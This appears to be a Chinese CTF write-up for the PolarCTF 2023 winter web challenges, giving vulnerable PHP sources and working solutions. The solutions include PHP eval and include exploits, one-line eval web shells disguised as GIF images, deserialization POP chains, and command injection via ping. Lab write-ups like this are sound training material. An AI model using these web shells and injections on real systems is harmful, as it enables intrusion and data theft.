PolarCTF 2023冬季挑战赛
2023-12-09 00:00:00 # CTF

2023冬季挑战赛

cool(WEB)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>

payload

1
?a=passthru("cat fla\g.txt");

phpurl(WEB)

base64解密aW5kZXgucGhwcw得到文件名index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>

xxs进行两次url编码即可?sys=%25%37%38%25%37%38%25%37%33

随机值(WEB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;

function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>

题目先是进行反序列化,然后是两个随机值的强比较,很明显要用到指针了
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Index{
public $Polar1;
public $Polar2;
public $Night;
public $Light;

function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo "$flag";
}
}
else{
echo "Your wrong!!!";
}
}
}


$re=new Index();
$re->Polar1=&$re->Polar2;
$re->Night=&$re->Light;

echo urlencode(serialize($re));

这里要把属性改为public,得到flag{d81f9c1be2e08964bf9f24b15f0e4900}

safe_include(WEB)

这个题像是XCTF的一道题,但好像被阉割了一样,没有那么难

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
show_source(__FILE__);
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/');

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
$sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

就是修改一下session文件的位置

1
2
3
4
5
6
7
8
9
10
11
GET /?xxs=<?=eval($_POST[x]);?>&save_path=. HTTP/1.1
Host: 7c09d312-d080-4fe2-b64e-4a91c5cd5c61.www.polarctf.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=11giek6rfisgdmc5v2ale594g2
Connection: close


文件的位置在/tmp/sess_11giek6rfisgdmc5v2ale594g2,然后内容是xxs|<?=eval($_POST[x]);?>
直接文件包含就可以了?xxs=/tmp/sess_11giek6rfisgdmc5v2ale594g2
x=system("cat /flag");
得到flagflag{202cb962ac59075b964b07152d234b70}

你想逃也逃不掉(WEB)

考点是字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/*
https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo file_get_contents('flag.php');
}

要求sign的值是123456,但是不可控,只能靠字符串逃逸,用可控的namepasswd改变序列化后的字符串。
观察一下a:3:{s:8:"username";s:4:"aspx";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"123456";}";s:6:"passwd";s:3:"的长度是20,然后一个aspx替换完可以减少4个字符,那么5个aspx就可以少20个

1
2
a:3:{s:8:"username";s:20:"aspxaspxaspxaspxaspx";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"ytyyds";}
a:3:{s:8:"username";s:20:"";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"123456";}

此时刚好到了passwd的值这里,我们赋";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"ytyyds";}passwd
得到结果a:3:{s:8:"username";s:20:"";s:6:"passwd";s:49:"";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}很显然这里出错了,因为passwd的长度变成了2位数,解决方式也很简单,用phtml替换一个aspx就可以
payload

1
2
3
?passwd=";s:6:"passwd";s:3:"123";s:4:"sign";s:6:"ytyyds";}

name=aspxaspxaspxaspxphtml

得到源码

1
2
3
<?php
$flag = 'flag{84sgsg4s5d4e5fse3kj5451dssgsfd45}';
?>

ezphp(WEB)

文件上传+文件包含
上传一句话木马,文件名cmd.jpg

1
2
GIF89a
<?=eval($_POST['cmd']);?>

利用/file/file.php?filename=../uploads/images/cmd.jpg包含,然后蚁剑连接,真的flag在/home/webuser/flag

苦海(WEB)

一道反序列化构造pop链的题,但是有坑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';

public function __construct()
{
echo "删库跑路,蹲监狱~";
}

public function printName()
{
echo $this->name;
return 'ok';
}

public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}

public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}

class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';

public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}

public function __toString()
{
return $this->file['filename']->content['title'];
}
}

class FileRobot
{
public $filename = 'flag.php';
public $path;

public function __get($name)
{
$function = $this->path;
return $function();
}

public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}

public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}

if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}

直接给payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';

public function __construct()
{
echo "删库跑路,蹲监狱~";
}

public function printName()
{
echo $this->name;
return 'ok';
}

public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}

public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}

class Surrender
{
public $phone = 110;
public $promise = '遵纪守法,好公民~';

public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}

public function __toString()
{
return $this->file['filename']->content['title'];
}
}

class FileRobot
{
public $filename = '../flag.php';
public $path;

public function __get($name)
{
$function = $this->path;
return $function();
}

public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}

public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}



$re=new User();
$re->name=new Surrender();
$re->name->file['filename']=new FileRobot();
$re->name->file['filename']->path=new FileRobot();



echo urlencode(serialize($re));

坑点就在于,题目中给的是$filename = 'flag.php';,但实际这个路径是../flag.php和ezphp那题同样的套路……

你的马呢?(WEB)

还是一道文件上传+文件包含
观察url/index.php?file=upload.php有明显文件包含或者读取的特征
上传一句话木马,命名cmd.jpg

1
2
GIF89a
<?=eval($_POST['cmd']);?>

包含木马文件?file=./uploads/cmd.jpg
蚁剑连接,flag在/flag.txt``flag{8f185d911c7cd5c6e98b1db8cd4bb1e7}

upload(WEB)

双写文件名绕过,命名cmd.pphphp

1
2
GIF89a
<?=eval($_POST['cmd']);?>

木马地址/upload/70759cmd.php路径/var/www/flag.php得到flag{a89f40341f4271659154829a2215f428}

干正则(WEB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}

$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}

payload

1
?id=a[0]=www.polarctf.com&cmd=;tac fl\ag.php

cookie欺骗(WEB)

简单题,直接把cookie里的user值改成admin刷新就好了